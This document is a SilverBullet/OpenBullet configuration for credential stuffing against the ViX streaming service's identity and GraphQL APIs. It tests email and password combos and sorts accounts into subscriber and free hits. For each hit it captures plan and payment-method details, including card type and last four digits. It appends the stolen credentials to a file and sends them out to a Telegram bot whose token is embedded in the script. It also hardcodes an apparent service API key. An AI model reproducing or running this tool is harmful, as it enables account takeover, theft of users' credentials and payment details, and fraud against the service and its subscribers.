[SETTINGS]
{
  "Name": "Vix+ [iOS API]",
  "SuggestedBots": 1,
  "MaxCPM": 0,
  "LastModified": "2022-07-21T17:54:26.3009463-05:00",
  "AdditionalInfo": "",
  "RequiredPlugins": [],
  "Author": "✯ 𝕄𝕣. 𝕏 ✯ [  @𝕋𝕙𝕖𝕄𝕣𝕏𝕤 𝕖𝕟 𝕥𝕖𝕝𝕖𝕘𝕣𝕒𝕞 ]",
  "Version": "1.1.2 [SB]",
  "SaveEmptyCaptures": false,
  "ContinueOnCustom": false,
  "SaveHitsToTextFile": false,
  "IgnoreResponseErrors": false,
  "MaxRedirects": 8,
  "NeedsProxies": false,
  "OnlySocks": false,
  "OnlySsl": false,
  "MaxProxyUses": 0,
  "BanProxyAfterGoodStatus": false,
  "BanLoopEvasionOverride": -1,
  "EncodeData": false,
  "AllowedWordlist1": "",
  "AllowedWordlist2": "",
  "DataRules": [],
  "CustomInputs": [
    {
      "Description": "Introduce tu ID, obtenido de Rose. No olvides iniciar el bot @ViXplus_bot",
      "VariableName": "chat",
      "Id": 1556598597
    }
  ],
  "CaptchaUrl": "",
  "IsBase64": false,
  "FilterList": [],
  "EvaluateMathOCR": false,
  "SecurityProtocol": 0,
  "ForceHeadless": false,
  "AlwaysOpen": false,
  "AlwaysQuit": false,
  "QuitOnBanRetry": false,
  "AcceptInsecureCertificates": true,
  "DisableNotifications": false,
  "DisableImageLoading": false,
  "DefaultProfileDirectory": false,
  "CustomUserAgent": "",
  "RandomUA": false,
  "CustomCMDArgs": "",
  "Title": "Vix+ [iOS API]",
  "IconPath": "Icon\\svbfile.ico",
  "LicenseSource": null,
  "Message": null,
  "MessageColor": "#FFFFFFFF",
  "HitInfoFormat": "[{hit.Type}][{hit.Proxy}] {hit.Data} - [{hit.CapturedString}]",
  "AuthorColor": "#FFFFB266",
  "WordlistColor": "#FFB5C2E1",
  "BotsColor": "#FFA8FFFF",
  "CustomInputColor": "#FFD6C7C7",
  "CPMColor": "#FFFFFFFF",
  "ProgressColor": "#FFAD93E3",
  "HitsColor": "#FF66FF66",
  "CustomColor": "#FFFFB266",
  "ToCheckColor": "#FF7FFFD4",
  "FailsColor": "#FFFF3333",
  "RetriesColor": "#FFFFFF99",
  "OcrRateColor": "#FF4698FD",
  "ProxiesColor": "#FFFFFFFF"
}

[SCRIPT]
FUNCTION GenerateGUID -> VAR "u" 

FUNCTION ToUppercase "<u>" -> VAR "uid" 

REQUEST POST "https://identity-api.vix.com/v1/auth/key/anon-user" 
  CONTENT "{\"installationId\":\"<uid>\"}" 
  CONTENTTYPE "application/json" 
  HEADER "accept: application/json" 
  HEADER "accept-encoding: gzip, deflate" 
  HEADER "accept-language: en-US;q=1.0, en;q=0.9" 
  HEADER "content-length: 57" 
  HEADER "user-agent: ViX/4.0.1 (com.univision.prendetv; build:316; iOS 15.4.1) Alamofire/5.5.0" 
  HEADER "x-vix-api-key: TUZ1GABtOCKWowkJIw1TR6sidJL3SYX4CxGasKu68IlEpJGk" 
  HEADER "x-vix-app-version: 4.0.1" 
  HEADER "x-vix-default-language: es" 
  HEADER "x-vix-device-type: mobile" 
  HEADER "x-vix-platform: ios" 
  HEADER "x-vix-platform-version: 15.4.1" 

PARSE "<SOURCE>" JSON "accessToken" -> VAR "accessToken" 

FUNCTION Length "{\"email\":\"<USER>\",\"password\":\"<PASS>\"}" -> VAR "len" 

REQUEST POST "https://identity-api.vix.com/v1/auth/token/reg-user/login" 
  CONTENT "{\"email\":\"<USER>\",\"password\":\"<PASS>\"}" 
  CONTENTTYPE "application/json" 
  HEADER "accept: application/json" 
  HEADER "accept-encoding: gzip, deflate" 
  HEADER "accept-language: en-US;q=1.0, en;q=0.9" 
  HEADER "authorization: Bearer <accessToken>" 
  HEADER "content-length: <len>" 
  HEADER "user-agent: ViX/4.0.1 (com.univision.prendetv; build:316; iOS 15.4.1) Alamofire/5.5.0" 
  HEADER "x-vix-app-version: 4.0.1" 
  HEADER "x-vix-default-language: es" 
  HEADER "x-vix-device-type: mobile" 
  HEADER "x-vix-platform: ios" 
  HEADER "x-vix-platform-version: 15.4.1" 

KEYCHECK 
  KEYCHAIN Failure AND 
    KEY "INVALID_LOGIN" 
    KEY "<RESPONSECODE>" Contains "403" 
  KEYCHAIN Success AND 
    KEY "\"accessLevel\":\"SUBSCRIBER\"}" 
    KEY "<RESPONSECODE>" Contains "200" 
  KEYCHAIN Custom "FREE" AND 
    KEY "<RESPONSECODE>" Contains "200" 
    KEY "\"accessLevel\":\"FREE\"}" 

PARSE "<SOURCE>" JSON "accessToken" -> VAR "auth" 

REQUEST POST "https://client-api.vix.com/gql/v2" 
  CONTENT "{\"operationName\":\"userSubscriptionData\",\"variables\":{},\"query\":\"query userSubscriptionData {  userSubscription {    activeSubscription {      state      autoRenew      trialEndDate      gracePeriod      gracePeriodEndDate      endDate      currency      subtotalAmount      taxAmount      source      type      partner      plan {        name        billingPeriodUnit        hasFreeTrial        marketingCopy {          valuePropsSubheader {            text            __typename          }          valueProps          __typename        }        __typename      }      __typename    }    paymentMethod {      objectType      cardType      lastFourDigits      expirationMonth      expirationYear      __typename    }    __typename  }}\"}" 
  CONTENTTYPE "application/json" 
  HEADER "accept: */*" 
  HEADER "accept-encoding: gzip, deflate, br" 
  HEADER "accept-language: es-ES,es;q=0.9" 
  HEADER "authorization: Bearer <auth>" 
  HEADER "content-length: 818" 
  HEADER "content-type: application/json" 
  HEADER "origin: https://vix.com" 
  HEADER "referer: https://vix.com/" 
  HEADER "sec-ch-ua: \".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"103\", \"Chromium\";v=\"103\"" 
  HEADER "sec-ch-ua-mobile: ?0" 
  HEADER "sec-ch-ua-platform: \"Windows\"" 
  HEADER "sec-fetch-dest: empty" 
  HEADER "sec-fetch-mode: cors" 
  HEADER "sec-fetch-site: same-site" 
  HEADER "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" 
  HEADER "x-vix-device-type: desktop" 
  HEADER "x-vix-platform: web" 

PARSE "<SOURCE>" JSON "name" CreateEmpty=FALSE -> CAP "Plan" 

PARSE "<SOURCE>" JSON "paymentMethod" -> VAR "paymentMethod" 

IF "<paymentMethod>" NotEqualTo "null"
SET CAP "Metodo de pago" "<paymentMethod>"
ELSE

PARSE "<SOURCE>" JSON "partner" CreateEmpty=FALSE -> CAP "Metodo de pago" 

ENDIF

PARSE "<SOURCE>" JSON "hasFreeTrial" CreateEmpty=FALSE -> CAP "Prueba gratis" 

PARSE "<SOURCE>" JSON "billingPeriodUnit" CreateEmpty=FALSE -> CAP "Ciclo de facturacion" 

FUNCTION Constant "✯ 𝕄𝕣. 𝕏 ✯ [  @𝕋𝕙𝕖𝕄𝕣𝕏𝕤 𝕖𝕟 𝕥𝕖𝕝𝕖𝕘𝕣𝕒𝕞 ]" -> CAP "Config por" 

UTILITY File "Hits\\ViX\\ViX_test.txt" AppendLines "<---------------[ViX+ HIT]--------------->\\nEmail: <USER>\\nPass: <PASS>\\nCombo: <USER>:<PASS>\\nPlan: <Plan>\\nMetodo de pago: <Metodo de pago>\\n<--- Mr.X [Join US t.me/SBandOBConfigs]--->" -> VAR "save" 

REQUEST POST "https://api.telegram.org/bot5540250788:AAG3GIsWCJ2IVgVl4CyAHOALuCvZNjagePk/sendMessage" 
  CONTENT "{\"chat_id\":\"<chat>\", \"text\":\"*<---[ViX+ HIT]--->*\\n*Metodo de pago*\\n*Email:* `<USER>`\\n*Pass:* `<PASS>`\\n*Plan: <Plan>*\\n*Prueba gratis:* _<Prueba gratis>_\", \"parse_mode\":\"Markdown\"}" 
  CONTENTTYPE "application/json" 
  HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 
  HEADER "Pragma: no-cache" 
  HEADER "Accept: */*" 

